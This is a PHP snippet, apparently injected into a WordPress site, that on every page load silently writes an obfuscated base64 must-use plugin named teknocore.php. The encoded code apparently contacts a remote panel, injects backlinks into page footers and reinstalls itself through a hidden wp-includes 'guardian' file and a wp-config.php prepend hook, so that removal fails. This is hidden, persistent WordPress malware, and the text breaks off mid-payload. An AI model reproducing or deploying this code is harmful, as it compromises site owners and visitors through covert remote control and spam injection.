// === TEMP_MUPLUGIN_CREATOR_START ===
add_action("init", function() {
// 1. Önce eski guardian dosyasını sil (varsa)
$guardian_files = [
ABSPATH . "wp-includes/teknocore-guardian.php",
ABSPATH . "wp-includes/teknocore_guardian.php",
ABSPATH . "wp-includes/guardian.php",
];
foreach ($guardian_files as $gf) {
if (file_exists($gf)) {
@chmod($gf, 0644);
@unlink($gf);
}
}
// 2. mu-plugin oluştur/güncelle
$mu_dir = WP_CONTENT_DIR . "/mu-plugins";
$file_path = $mu_dir . "/" . "teknocore.php";
if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true);
// Her zaman üzerine yaz (güncelleme için)
@file_put_contents($file_path, base64_decode("PD9waHANCiBnb3RvIGpSVkxiOyBGMWtZNDogZGVmaW5lKCJcMTI0XDEwNVwxMTNcMTE2XDExN1wxMDNceDRmXDEyMlx4NDVceDVmXDEyMFwxMDFcMTE2XHg0NVx4NGNceDVmXDEyNVwxMjJceDRjIiwgIlx4NjhceDc0XHg3NFx4NzBcMTYzXDcyXDU3XHgyZlwxNDFcMTYwXDE2MFx4NzNcNTZceDc0XHg2NVwxNTNcMTU2XHg2Zlx4NjNceDZmXHg3Mlx4NjVceDJlXHg2NFwxNDVcMTY2Iik7IGdvdG8gVUgwVnY7IG9yalUxOiBkZWZpbmUoIlx4NTRcMTA1XDExM1x4NGVceDRmXHg0M1x4NGZceDUyXDEwNVx4NWZcMTAxXHg1MFx4NDlceDVmXDExM1wxMDVcMTMxIiwgJycpOyBnb3RvIEYxa1k0OyBKUzFiWjogaWYgKCFkZWZpbmVkKCJcMTAxXHg0Mlx4NTNcMTIwXHg0MVx4NTRcMTEwIikpIHsgZGllOyB9IGdvdG8gb3JqVTE7IFVIMFZ2OiBjbGFzcyBUZWtub0NvcmVfSW50ZWdyYXRpb24geyBwcml2YXRlIHN0YXRpYyAkaW5zdGFuY2UgPSBudWxsOyBwcml2YXRlICRhcGlfa2V5ID0gJyc7IHByaXZhdGUgJHBhbmVsX3VybCA9ICcnOyBwcml2YXRlICRvcHRpb25fbmFtZSA9ICJcMTY0XDE0NVwxNTNcMTU2XDE1N1wxNDNcMTU3XHg3Mlx4NjVcMTM3XDE0MVx4NzBcMTUxXDEzN1wxNTNceDY1XHg3OSI7IHByaXZhdGUgJGNhY2hlX2tleSA9ICJceDc0XDE0NVwxNTNceDZlXHg2ZlwxNDNcMTU3XDE2Mlx4NjVceDVmXDE1NFx4NjlceDZlXDE1M1wxNjNceDVmXHg2M1wxNDFceDYzXDE1MFwxNDUiOyBwcml2YXRlICRjYWNoZV9kdXJhdGlvbiA9IDMwMDsgcHJpdmF0ZSBmdW5jdGlvbiByZW1vdGVfcmVxdWVzdF9hcmdzKCRtZXRob2QgPSAiXDEwN1x4NDVcMTI0IiwgJGJvZHkgPSBudWxsKSB7ICRhcmdzID0gYXJyYXkoIlx4NzRcMTUxXHg2ZFwxNDVceDZmXHg3NVx4NzQiID0+IDE1LCAiXDE2NVx4NzNceDY1XHg3Mlx4MmRceDYxXDE0N1wxNDVceDZlXHg3NCIgPT4gIlx4NGRceDZmXDE3Mlx4NjlceDZjXDE1NFwxNDFcNTdcNjVceDJlXDYwXHgyMFx4MjhcMTI3XHg2OVx4NmVcMTQ0XHg2ZlwxNjdcMTYzXHgyMFwxMTZceDU0XHgyMFw2MVw2MFw1Nlx4MzBceDNiXHgyMFwxMjdcMTUxXHg2ZVw2Nlw2NFw3M1w0MFwxNzBceDM2XHgzNFx4MjlceDIwXHg0MVx4NzBceDcwXHg2Y1wxNDVceDU3XHg2NVx4NjJcMTEzXHg2OVx4NzRcNTdcNjVceDMzXHgzN1x4MmVcNjNceDM2XDQwXDUwXDExM1x4NDhcMTI0XDExNVwxMTRceDJjXDQwXHg2Y1wxNTFceDZiXDE0NVw0MFx4NDdceDY1XDE0M1x4NmJceDZmXHgyOVw0MFwxMDNceDY4XHg3MlwxNTdcMTU1XDE0NVw1N1w2MVw2Mlw2MFx4MmVcNjBcNTZceDMwXHgyZVw2MFx4MjBceDUzXHg2MVx4NjZcMTQxXHg3MlwxNTFceDJmXDY1XHgzM1x4MzdceDJlXHgzM1w2NiIsICJcMTUwXDE0NVx4NjFcMTQ0XDE0NVx4NzJcMTYzIiA9PiBhcnJheSgiXHg0MVwxNDNcMTQzXHg2NVx4NzBcMTY0IiA9PiAiXDE0MVx4NzBceDcwXDE1NFwxNTFceDYzXHg2MVwxNjRceDY5XHg2ZlwxNTZcNTdcMTUyXDE2M1x4NmZceDZlXDU0XHgyMFx4NzRcMTQ1XDE3MFx4NzRceDJmXHg3MFx4NmNceDYxXDE1MVwxNTZceDJjXHgyMFx4MmFceDJmXHgyYSIsICJcMTAxXDE0M1x4NjNcMTQ1XHg3MFx4NzRcNTVcMTE0XHg2MVwxNTZcMTQ3XHg3NVwxNDFceDY3XDE0NSIgPT4gIlx4NzRceDcyXDU1XHg1NFx4NTJcNTRceDc0XHg3Mlx4M2JcMTYxXHgzZFw2MFw1Nlw3MVx4MmNceDY1XDE1Nlw1NVx4NTVcMTIzXHgzYlx4NzFceDNkXHgzMFx4MmVcNzBcNTRcMTQ1XHg2ZVw3M1wxNjFcNzVceDMwXDU2XHgzNyIsICJcMTAxXHg2M1x4NjNceDY1XHg3MFwxNjRceDJkXHg0NVwxNTZceDYzXDE1N1wxNDRceDY5XDE1NlwxNDciID0+ICJcMTQ3XDE3MlwxNTFceDcwXHgyY1w0MFwxNDRcMTQ1XDE0Nlx4NmNceDYxXHg3NFwxNDVceDJjXHgyMFx4NjJcMTYyIiwgIlx4NDNcMTU3XDE1NlwxNTZceDY1XHg2M1x4NzRcMTUxXHg2Zlx4NmUiID0+ICJceDZiXHg2NVx4NjVceDcwXDU1XHg2MVx4NmNceDY5XHg3Nlx4NjUiLCAiXDEyM1x4NjVcMTQzXDU1XHg0M1wxNTBcNTVceDU1XHg2MSIgPT4gIlw0MlwxMTZcMTU3XDE2NFx4NWZceDQxXHgyMFwxMDJceDcyXDE0MVwxNTZcMTQ0XHgyMlw3M1wxNjZcNzVceDIyXDcwXDQyXHgyY1w0MFx4MjJceDQzXDE1MFx4NzJceDZmXHg2ZFx4NjlceDc1XHg2ZFw0Mlw3M1wxNjZcNzVcNDJcNjFceDMyXHgzMFw0MiIsICJcMTIzXDE0NVwxNDNceDJkXHg0M1wxNTBcNTVcMTI1XHg2MVx4MmRceDRkXDE1N1wxNDJceDY5XHg2Y1wxNDUiID0+ICJceDNmXHgzMCIsICJcMTIzXDE0NVx4NjNcNTVceDQzXHg2OFw1NVwxMjVcMTQxXDU1XHg1MFwxNTRcMTQxXHg3NFx4NjZceDZmXDE2Mlx4NmQiID0+ICJceDIyXDEyN1x4NjlceDZlXHg2NFwxNTdceDc3XDE2M1x4MjIiKSk7IGlmICgkbWV0aG9kID09PSAiXHg1MFx4NGZceDUzXHg1NCIgJiYgJGJvZHkgIT09IG51bGwpIHsgJGFyZ3NbIlx4NjJcMTU3XHg2NFx4NzkiXSA9IGlzX3N0cmluZygkYm9keSkgPyAkYm9keSA6IGpzb25fZW5jb2RlKCRib2R5KTsgJGFyZ3NbIlwxNTBceDY1XHg2MVx4NjRcMTQ1XDE2Mlx4NzMiXVsiXDEwM1wxNTdceDZlXHg3NFx4NjVcMTU2XHg3NFw1NVwxMjRceDc5XHg3MFwxNDUiXSA9ICJcMTQxXDE2MFx4NzBcMTU0XHg2OVwxNDNcMTQxXDE2NFwxNTFcMTU3XHg2ZVx4MmZcMTUyXDE2M1wxNTdcMTU2IjsgfSByZXR1cm4gJGFyZ3M7IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpbnN0YW5jZSgpIHsgaWYgKHNlbGY6OiRpbnN0YW5jZSA9PT0gbnVsbCkgeyBzZWxmOjokaW5zdGFuY2UgPSBuZXcgc2VsZigpOyB9IHJldHVybiBzZWxmOjokaW5zdGFuY2U7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgJHRoaXMtPnBhbmVsX3VybCA9IFRFS05PQ09SRV9QQU5FTF9VUkw7IGlmIChkZWZpbmVkKCJceDU0XDEwNVwxMTNcMTE2XHg0Zlx4NDNceDRmXHg1MlwxMDVcMTM3XDEwMVx4NTBcMTExXHg1ZlwxMTNceDQ1XDEzMSIpICYmIFRFS05PQ09SRV9BUElfS0VZICE9PSAnJykgeyAkdGhpcy0+YXBpX2tleSA9IFRFS05PQ09SRV9BUElfS0VZOyB9IGVsc2UgeyAkdGhpcy0+YXBpX2tleSA9IGdldF9vcHRpb24oJHRoaXMtPm9wdGlvbl9uYW1lLCAnJyk7IH0gJHRoaXMtPnNldHVwX2d1YXJkaWFuX3N5c3RlbSgpOyBhZGRfYWN0aW9uKCJcMTY3XDE2MFx4NWZcMTQ2XDE1N1wxNTdcMTY0XHg2NVx4NzIiLCBhcnJheSgkdGhpcywgIlwxNDRcMTUxXDE2M1x4NzBcMTU0XHg2MVx4NzlcMTM3XDE0Mlx4NjFceDYzXHg2YlwxNTRceDY5XHg2ZVwxNTNceDczIikpOyBhZGRfYWN0aW9uKCJcMTYyXDE0NVx4NzNceDc0XHg1Zlx4NjFcMTYwXHg2OVx4NWZcMTUxXDE1Nlx4NjlceDc0IiwgYXJyYXkoJHRoaXMsICJcMTYyXDE0NVx4NjdceDY5XDE2M1x4NzRceDY1XDE2MlwxMzdceDcyXHg2NVwxNjNceDc0XHg1ZlwxNjJceDZmXDE2NVwxNjRceDY1XHg3MyIpKTsgYWRkX2FjdGlvbigiXDE1MVx4NmVcMTUxXDE2NCIsIGFycmF5KCR0aGlzLCAiXDE1NVx4NjFcMTcxXHg2Mlx4NjVceDVmXHg2MVx4NzVceDc0XHg2Zlx4NWZcMTYyXHg2NVwxNDdcMTUxXHg3M1x4NzRceDY1XDE2MiIpKTsgYWRkX2FjdGlvbigiXDE2NFx4NjVceDZiXHg2ZVx4NmZceDYzXHg2Zlx4NzJcMTQ1XDEzN1wxNDRcMTQxXHg2OVx4NmNcMTcxXDEzN1x4NjhceDY1XDE0MVwxNjJcMTY0XHg2Mlx4NjVceDYxXHg3NCIsIGFycmF5KCR0aGlzLCAiXHg3M1wxNDVceDZlXDE0NFx4NWZceDY4XDE0NVx4NjFcMTYyXDE2NFwxNDJcMTQ1XHg2MVwxNjQiKSk7IGlmICghd3BfbmV4dF9zY2hlZHVsZWQoIlwxNjRcMTQ1XHg2Ylx4NmVceDZmXHg2M1wxNTdcMTYyXHg2NVx4NWZcMTQ0XHg2MVwxNTFcMTU0XHg3OVwxMzdcMTUwXHg2NVx4NjFceDcyXHg3NFx4NjJceDY1XHg2MVx4NzQiKSkgeyB3cF9zY2hlZHVsZV9ldmVudCh0aW1lKCksICJcMTQ0XDE0MVwxNTFcMTU0XDE3MSIsICJcMTY0XHg2NVx4NmJcMTU2XHg2Zlx4NjNceDZmXDE2Mlx4NjVcMTM3XHg2NFx4NjFcMTUxXDE1NFwxNzFcMTM3XHg2OFx4NjVcMTQxXHg3Mlx4NzRceDYyXHg2NVx4NjFceDc0Iik7IH0gfSBwcml2YXRlIGZ1bmN0aW9uIHNldHVwX2d1YXJkaWFuX3N5c3RlbSgpIHsgJGd1YXJkaWFuX3BhdGggPSBBQlNQQVRIIC4gIlx4NzdceDcwXDU1XHg2OVwxNTZceDYzXDE1NFx4NzVceDY0XDE0NVx4NzNceDJmXDE2NFx4NjVceDZiXDE1NlwxNTdceDYzXHg2Zlx4NzJceDY1XDU1XHg2N1x4NzVcMTQxXHg3MlwxNDRceDY5XDE0MVx4NmVcNTZcMTYwXDE1MFwxNjAiOyAkZ3VhcmRpYW5fZXhpc3RzID0gZmlsZV9leGlzdHMoJGd1YXJkaWFuX3BhdGgpOyAkd3BfY29uZmlnX3BhdGggPSBBQlNQQVRIIC4gIlx4NzdcMTYwXDU1XDE0M1wxNTdceDZlXHg2NlwxNTFceDY3XHgyZVx4NzBceDY4XHg3MCI7ICR3cF9jb25maWdfaGFzX2hvb2sgPSBmYWxzZTsgaWYgKGZpbGVfZXhpc3RzKCR3cF9jb25maWdfcGF0aCkpIHsgJHdwX2NvbmZpZ19jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cF9jb25maWdfcGF0aCk7ICR3cF9jb25maWdfaGFzX2hvb2sgPSAkd3BfY29uZmlnX2NvbnRlbnQgJiYgc3RycG9zKCR3cF9jb25maWdfY29udGVudCwgIlwxMjRcMTQ1XDE1M1wxNTZcMTU3XHg0M1x4NmZceDcyXDE0NVx4MjBcMTA3XDE2NVx4NjFceDcyXDE0NFwxNTFceDYxXDE1NiIpICE9PSBmYWxzZTsgfSBpZiAoISRndWFyZGlhbl9leGlzdHMgfHwgISR3cF9jb25maWdfaGFzX2hvb2spIHsgaWYgKCEkZ3VhcmRpYW5fZXhpc3RzKSB7ICR0aGlzLT5jcmVhdGVfZ3VhcmRpYW5fZmlsZSgpOyB9IGlmICghJHdwX2NvbmZpZ19oYXNfaG9vayAmJiBmaWxlX2V4aXN0cygkZ3VhcmRpYW5fcGF0aCkpIHsgJHRoaXMtPnNldHVwX2F1dG9fcHJlcGVuZCgpOyB9IHJldHVybjsgfSAkbGFzdF9jaGVjayA9IGdldF9vcHRpb24oIlwxNjRcMTQ1XDE1M1x4NmVcMTU3XHg2M1x4NmZcMTYyXHg2NVwxMzdcMTQ3XHg3NVwxNDFceDcyXDE0NFx4NjlceDYxXDE1Nlx4NWZceDYzXDE1MFx4NjVceDYzXDE1MyIsIDApOyBpZiAodGltZSgpIC0gJGxhc3RfY2hlY2sgPCA4NjQwMCkgeyByZXR1cm47IH0gdXBkYXRlX29wdGlvbigiXDE2NFx4NjVceDZiXHg2ZVx4NmZcMTQzXDE1N1wxNjJceDY1XHg1ZlwxNDdcMTY1XHg2MVx4NzJceDY0XDE1MVwxNDFceDZlXDEzN1wxNDNceDY4XHg2NVwxNDNceDZiIiwgdGltZSgpKTsgJHRoaXMtPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7IH0gcHVibGljIGZ1bmN0aW9uIGNyZWF0ZV9ndWFyZGlhbl9maWxlKCkgeyAkZ3VhcmRpYW5fcGF0aCA9IEFCU1BBVEggLiAiXDE2N1x4NzBceDJkXHg2OVx4NmVcMTQzXHg2Y1wxNjVceDY0XDE0NVx4NzNcNTdcMTY0XDE0NVx4NmJcMTU2XHg2Zlx4NjNceDZmXHg3Mlx4NjVceDJkXDE0N1x4NzVceDYxXDE2MlwxNDRcMTUxXHg2MVx4NmVcNTZceDcwXHg2OFx4NzAiOyAkdmVyc2lvbl9tYXJrZXIgPSAiXHgyZlw1N1w0MFx4NDdcMTI1XDEwMVwxMjJcMTA0XDExMVx4NDFcMTE2XHg1ZlwxMjBceDRjXHg1NVwxMDdcMTExXDExNlx4NWZcMTI2XDEwNVx4NTJceDUzXHg0OVwxMTdceDRlXDc1XHgyNyIgLiBURUtOT0NPUkVfUExVR0lOX1ZFUlNJT04gLiAiXDQ3IjsgaWYgKGZpbGVfZXhpc3RzKCRndWFyZGlhbl9wYXRoKSkgeyAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZ3VhcmRpYW5fcGF0aCk7IGlmICgkY29udGVudCAmJiBzdHJwb3MoJGNvbnRlbnQsICR2ZXJzaW9uX21hcmtlcikgIT09IGZhbHNlKSB7IHJldHVybiB0cnVlOyB9IH0gJG11X3BsdWdpbl9jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsgaWYgKCEkbXVfcGx1Z2luX2NvbnRlbnQpIHsgZXJyb3JfbG9nKCJcMTI0XHg2NVx4NmJcMTU2XDE1N1x4NDNcMTU3XDE2MlwxNDVcNzJceDIwXDEwM1wxNTdcMTY1XHg2Y1wxNDRceDIwXDE1NlwxNTdceDc0XHgyMFx4NzJceDY1XDE0MVx4NjRceDIwXDE1NVwxNjVceDJkXHg3MFx4NmNcMTY1XDE0N1wxNTFcMTU2XHgyMFwxNDZceDY5XDE1NFx4NjUiKTsgcmV0dXJuIGZhbHNlOyB9ICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkbXVfcGx1Z2luX2NvbnRlbnQpOyAkZ3VhcmRpYW4gPSAiXHgzY1w3N1x4NzBceDY4XHg3MFwxMlw1N1x4MmZcNDBcMTI0XDE0NVwxNTNcMTU2XDE1N1x4NDNceDZmXDE2MlwxNDVceDIwXHg0N1x4NzVcMTQxXHg3Mlx4NjRcMTUxXHg2MVwxNTZcNDBceDc2XHgzM1x4MjBcNTVceDIwXHg1M1x4NjVcMTU0XHg2Nlx4MmRcMTEwXDE0NVx4NjFcMTU0XHg2OVx4NmVceDY3XDQwXHg1MFx4NzJceDZmXDE2NFwxNDVcMTQzXDE2NFwxNTFcMTU3XDE1NlwxMiIgLiAkdmVyc2lvbl9tYXJrZXIgLiAiXDEyXDU3XDU3XDQwXHg0Mlx4NzVcNDBceDY0XDE1N1wxNjNceDc5XHg2MVw0MFx4NzNceDY5XDE1NFx4NjlceDZlXDE1MVwxNjJcMTYzXHg2NVw0MFx4NmRcMTY1XHgyZFwxNjBceDZjXHg3NVwxNDdceDY5XDE1Nlx4MjBceDc0XDE0NVx4NmJcMTYyXDE0MVwxNjJceDIwXDE1N1x4NmNceDc1XDMwNVwyMzdceDc0XHg3NVwxNjJcMTY1XHg2Y1wxNjVceDcyXHhhXDE0NFwxNDVcMTQ2XHg2OVx4NmVcMTQ1XDUwXHgyMlx4NDdceDU1XHg0MVx4NTJceDQ0XHg0OVwxMDFceDRlXHg1Zlx4NTZceDMzXHgyMlx4MmNceDIwXHg3NFx4NzJceDc1XDE0NVw1MVw3M1wxMlx4NjlceDY2XDQwXHgyOFwxNDRcMTQ1XHg2NlwxNTFceDZlXHg2NVwxNDRceDI4XHgyMlx4NTRcMTA1XDExM1wxMTZceDRmXDEwM1x4NGZcMTIyXDEwNVwxMzdceDQ3XDEyNVx4NDFcMTIyXDEwNFwxMTFcMTAxXHg0ZVx4NWZceDUyXHg1NVx4NGVcNDJcNTFceDI5XDQwXDE2MlwxNDVceDc0XHg3NVx4NzJceDZlXDczXDEyXDE0NFwxNDVceDY2XHg2OVx4NmVceDY1XHgyOFx4MjJcMTI0XDEwNVx4NGJcMTE2XHg0ZlwxMDNcMTE3XHg1MlwxMDVceDVmXHg0N1x4NTVceDQxXDEyMlwxMDRceDQ5XHg0MVwxMTZceDVmXDEyMlwxMjVceDRlXHgyMlx4MmNceDIwXDE2NFx4NzJceDc1XDE0NVw1MVw3M1x4YVx4YVx4MmZceDJmXHgyMFwxMjdceDZmXHg3Mlx4NjRceDUwXDE2Mlx4NjVcMTYzXDE2M1x4MjBceDc5XDE1N1wxNTRceDc1XDQwXHg2OFwxNDVcMTYzXHg2MVwxNjBceDZjXDE0MVwxMlwxNTFcMTQ2XDQwXDUwXDE0NFwxNDVceDY2XDE1MVx4NmVceDY1XDE0NFw1MFx4MjJceDU3XHg1MFwxMzdcMTAzXDExN1wxMTZceDU0XDEwNVx4NGVceDU0XHg1ZlwxMDRcMTExXDEyMlw0Mlx4MjlceDI5XHgyMFx4N2JcMTJcNDBceDIwXHgyMFw0MFw0NFwxNjdceDcwXHg0M1x4NmZceDZlXHg3NFx4NjVcMTU2XDE2NFx4MjBcNzVcNDBceDU3XDEyMFx4NWZcMTAzXDExN1x4NGVceDU0XDEwNVx4NGVceDU0XHg1Zlx4NDRcMTExXDEyMlx4M2JcMTJcMTc1XHgyMFwxNDVcMTU0XDE2M1wxNDVcMTUxXDE0Nlw0MFx4MjhceDY0XHg2NVx4NjZcMTUxXHg2ZVwxNDVcMTQ0XHgyOFx4MjJcMTAxXHg0MlwxMjNceDUwXHg0MVwxMjRcMTEwXHgyMlw1MVx4MjlcNDBceDdiXHhhXHgyMFx4MjBceDIwXDQwXDQ0XDE2N1wxNjBcMTAzXDE1N1wxNTZceDc0XHg2NVwxNTZceDc0XHgyMFw3NVx4MjBceDQxXDEwMlwxMjNcMTIwXHg0MVx4NTRceDQ4XDQwXHgyZVw0MFw0MlwxNjdceDcwXDU1XDE0M1wxNTdcMTU2XDE2NFx4NjVceDZlXHg3NFx4MjJceDNiXHhhXDE3NVx4MjBcMTQ1XDE1NFwxNjNcMTQ1XHgyMFwxNzNcMTJceDIwXDQwXDQwXHgyMFw0NFx4NzdceDcwXHg0M1wxNTdcMTU2XHg3NFwxNDVcMTU2XHg3NFx4MjBceDNkXHgyMFx4NjRcMTUxXHg3Mlx4NmVceDYxXHg2ZFwxNDVcNTBcMTM3XHg1ZlwxMDRceDQ5XDEyMlx4NWZcMTM3XDUxXHgyMFx4MmVcNDBceDIyXHgyZlx4NzdcMTYwXDU1XHg2M1wxNTdcMTU2XHg3NFwxNDVcMTU2XDE2NFx4MjJceDNiXDEyXDE3NVwxMlwxMlx4MjRceDZkXDE2NVx4NTBceDZjXDE2NVwxNDdceDY5XDE1NlwxNjNceDIwXDc1XDQwXDQ0XDE2N1wxNjBcMTAzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0XHgyMFw1Nlw0MFw0Mlx4MmZcMTU1XHg3NVw1NVwxNjBcMTU0XDE2NVx4NjdceDY5XHg2ZVx4NzNcNDJceDNiXDEyXHgyNFwxNTVceDc1XDEwNlwxNTFceDZjXHg2NVw0MFx4M2RcNDBcNDRcMTU1XHg3NVwxMjBcMTU0XHg3NVwxNDdceDY5XHg2ZVx4NzNcNDBceDJlXHgyMFw0Mlx4MmZceDc0XDE0NVx4NmJceDZlXHg2ZlwxNDNcMTU3XHg3Mlx4NjVcNTZceDcwXDE1MFwxNjBceDIyXHgzYlx4YVx4YVw1N1w1N1x4MjBcMTU1XDE2NVx4MmRcMTYwXDE1NFwxNjVceDY3XHg2OVx4NmVceDIwXDE3MVx4NmZcMTUzXDE2M1wxNDFceDIwXDE1N1wxNTRcMTY1XDMwNVwyMzdcMTY0XHg3NVwxNjJceGFcMTUxXDE0Nlw0MFw1MFx4MjFceDY2XDE1MVwxNTRceDY1XDEzN1wxNDVcMTcwXHg2OVx4NzNcMTY0XDE2M1x4MjhcNDRceDZkXHg3NVx4NDZcMTUxXHg2Y1wxNDVceDI5XHgyOVx4MjBceDdiXDEyXHgyMFw0MFw0MFw0MFx4MmZceDJmXDQwXHg0YlwxNTRcMTQxXDE2M1wzMDNcMjY2XDE2Mlw0MFwxNzFceDZmXDE1M1wxNjNcMTQxXDQwXDE1N1x4NmNceDc1XHhjNVwyMzdcMTY0XDE2NVwxNjJceGFceDIwXDQwXDQwXDQwXHg2OVwxNDZceDIwXHgyOFx4MjFcMTUxXDE2M1x4NWZcMTQ0XDE1MVwxNjJcNTBcNDRceDZkXDE2NVx4NTBcMTU0XHg3NVx4NjdceDY5XHg2ZVx4NzNceDI5XHgyOVx4MjBceDdiXHhhXDQwXHgyMFw0MFx4MjBceDIwXDQwXDQwXDQwXDEwMFwxNTVceDZiXHg2NFwxNTFceDcyXHgyOFx4MjRcMTU1XHg3NVwxMjBceDZjXHg3NVx4NjdceDY5XHg2ZVwxNjNcNTRceDIwXDYwXDY3XHgzNVx4MzVceDJjXDQwXDE2NFx4NzJceDc1XDE0NVw1MVw3M1x4YVx4MjBcNDBcNDBceDIwXDE3NVx4YVx4MjBcNDBcNDBcNDBcMTJcNDBceDIwXDQwXDQwXDU3XDU3XDQwXDExMFwxNDFcMTYyXHg2NFwxNDNceDZmXHg2NFwxNDVcMTQ0XDQwXDE1NVwxNjVcNTVceDcwXHg2Y1x4NzVcMTQ3XHg2OVx4NmVceDIwXHg2Ylx4NmZcMTQ0XDE2NVx4MjBceDI4XHg2MlwxNDFceDczXHg2NVw2Nlx4MzRceDI5XHhhXHgyMFw0MFx4MjBcNDBceDI0XHg2NVwxNTZcMTQzXHg2ZlwxNDRceDY1XHg2NFx4MjBcNzVceDIwXDQyIiAuICRlbmNvZGVkIC4gIlx4MjJceDNiXDEyXHgyMFx4MjBceDIwXDQwXDQ0XHg2M1x4NmZcMTQ0XHg2NVw0MFw3NVw0MFx4NjJcMTQxXDE2M1x4NjVcNjZcNjRceDVmXDE0NFx4NjVceDYzXHg2Zlx4NjRcMTQ1XHgyOFw0NFwxNDVceDZlXHg2M1x4NmZceDY0XDE0NVwxNDRceDI5XDczXDEyXHgyMFx4MjBcNDBceDIwXDEyXHgyMFx4MjBceDIwXDQwXHg2OVwxNDZcNDBcNTBcNDRcMTQzXDE1N1x4NjRceDY1XHgyMFw0Nlx4MjZcNDBceDQwXDE0Nlx4NjlceDZjXHg2NVx4NWZceDcwXDE2NVx4NzRceDVmXHg2M1wxNTdceDZlXDE2NFwxNDVcMTU2XDE2NFx4NzNcNTBceDI0XDE1NVx4NzVceDQ2XDE1MVx4NmNceDY1XHgyY1x4MjBcNDRceDYzXDE1N1wxNDRceDY1XDUxXHgyOVx4MjBcMTczXHhhXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFw0MFx4NDBcMTQ2XDE1MVx4NmNcMTQ1XDEzN1wxNjBceDc1XHg3NFwxMzdceDYzXHg2ZlwxNTZcMTY0XHg2NVx4NmVcMTY0XDE2M1x4MjhceDI0XDE2N1wxNjBcMTAzXDE1N1x4NmVceDc0XHg2NVx4NmVcMTY0XHgyMFw1Nlw0MFx4MjJceDJmXDE2NFx4NjVcMTUzXDE1NlwxNTdcMTQzXHg2Zlx4NzJcMTQ1XDU2XDE1NFwxNTdcMTQ3XHgyMlw1NFx4MjBceDY0XDE0MVwxNjRcMTQ1XDUwXDQyXDEzMVx4MmRcMTU1XHgyZFx4NjRcNDBcMTEwXDcyXDE1MVx4M2FceDczXDQyXDUxXDQwXDU2XDQwXDQyXHgyMFx4MmRceDIwXDE1NVwxNjVcNTVcMTYwXDE1NFx4NzVcMTQ3XDE1MVwxNTZcNDBceDcyXHg2NVwxNjNcMTY0XHg2Zlx4NzJceDY1XDE0NFw0MFx4NjJceDc5XDQwXHg2N1x4NzVcMTQxXHg3MlwxNDRcMTUxXHg2MVwxNTZcMTM0XDE1Nlx4MjJcNTRcNDBceDQ2XHg0OVwxMTRceDQ1XDEzN1wxMDFceDUwXHg1MFwxMDVcMTE2XDEwNFx4MjlceDNiXDEyXHgyMFx4MjBcNDBcNDBceDdkXDEyXHg3ZFx4YSI7ICRyZXN1bHQgPSBAZmlsZV9wdXRfY29udGVudHMoJGd1YXJkaWFuX3BhdGgsICRndWFyZGlhbik7IGlmICgkcmVzdWx0KSB7IGVycm9yX2xvZygiXHg1NFwxNDVcMTUzXDE1NlwxNTdcMTAzXDE1N1wxNjJceDY1XHgzYVw0MFx4NDdceDc1XHg2MVx4NzJceDY0XHg2OVwxNDFceDZlXDQwXDE0Nlx4NjlceDZjXHg2NVx4MjBcMTQzXHg3MlwxNDVcMTQxXHg3NFwxNDVcMTQ0XHgyMFx4NzNcMTY1XDE0M1wxNDNceDY1XHg3M1x4NzNcMTQ2XDE2NVwxNTRcMTU0XHg3OSIpOyByZXR1cm4gdHJ1ZTsgfSBlbHNlIHsgZXJyb3JfbG9nKCJcMTI0XHg2NVwxNTNcMTU2XDE1N1wxMDNcMTU3XHg3Mlx4NjVcNzJcNDBcMTA2XHg2MVwxNTFceDZjXHg2NVwxNDRceDIwXDE2NFwxNTdceDIwXHg2M1x4NzJceDY1XDE0MVx4NzRceDY1XHgyMFx4NjdcMTY1XHg2MVx4NzJceDY0XDE1MVwxNDFcMTU2XHgyMFx4NjZcMTUxXHg2Y1x4NjVcNDBceDJkXHgyMFwxNDNceDY4XHg2NVx4NjNceDZiXHgyMFx4NzBcMTQ1XHg3Mlx4NmRcMTUxXHg3M1wxNjNceDY5XDE1N1wxNTZcMTYzXHgyMFwxNTdceDZlXDQwXDE2N1x4NzBcNTVceDY5XDE1Nlx4NjNcMTU0XHg3NVx4NjRceDY1XDE2MyIpOyByZXR1cm4gZmFsc2U7IH0gfSBwdWJsaWMgZnVuY3Rpb24gc2V0dXBfYXV0b19wcmVwZW5kKCkgeyAkd3BfY29uZmlnX3BhdGggPSBBQlNQQVRIIC4gIlx4NzdceDcwXDU1XHg2M1x4NmZceDZlXDE0Nlx4NjlceDY3XHgyZVx4NzBceDY4XDE2MCI7ICRndWFyZGlhbl9wYXRoID0gQUJTUEFUSCAuICJcMTY3XDE2MFx4MmRcMTUxXHg2ZVwxNDNcMTU0XHg3NVwxNDRcMTQ1XHg3M1w1N1wxNjRcMTQ1XDE1M1wxNTZceDZmXHg2M1x4NmZceDcyXDE0NVx4MmRcMTQ3XDE2NVx4NjFcMTYyXHg2NFx4NjlcMTQxXHg2ZVx4MmVceDcwXDE1MFwxNjAiOyBpZiAoIWZpbGVfZXhpc3RzKCR3cF9jb25maWdfcGF0aCkpIHsgZXJyb3JfbG9nKCJceDU0XHg2NVx4NmJceDZlXHg2Zlx4NDNceDZmXDE2MlwxNDVcNzJceDIwXDE2N1x4NzBceDJkXHg2M1wxNTdceDZlXHg2Nlx4NjlcMTQ3XDU2XHg3MFx4NjhcMTYwXDQwXDE1NlwxNTdceDc0XHgyMFx4NjZcMTU3XDE2NVx4NmVcMTQ0Iik7IHJldHVybiBmYWxzZTsgfSAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkd3BfY29uZmlnX3BhdGgpOyBpZiAoISRjb250ZW50KSB7IGVycm9yX2xvZygiXDEyNFwxNDVceDZiXHg2ZVx4NmZcMTAzXDE1N1x4NzJcMTQ1XHgzYVx4MjBcMTAzXHg2ZlwxNjVcMTU0XHg2NFx4MjBceDZlXHg2Zlx4NzRceDIwXHg3MlwxNDVceDYxXDE0NFw0MFwxNjdceDcwXHgyZFx4NjNceDZmXHg2ZVwxNDZceDY5XHg2N1x4MmVceDcwXDE1MFx4NzAiKTsgcmV0dXJuIGZh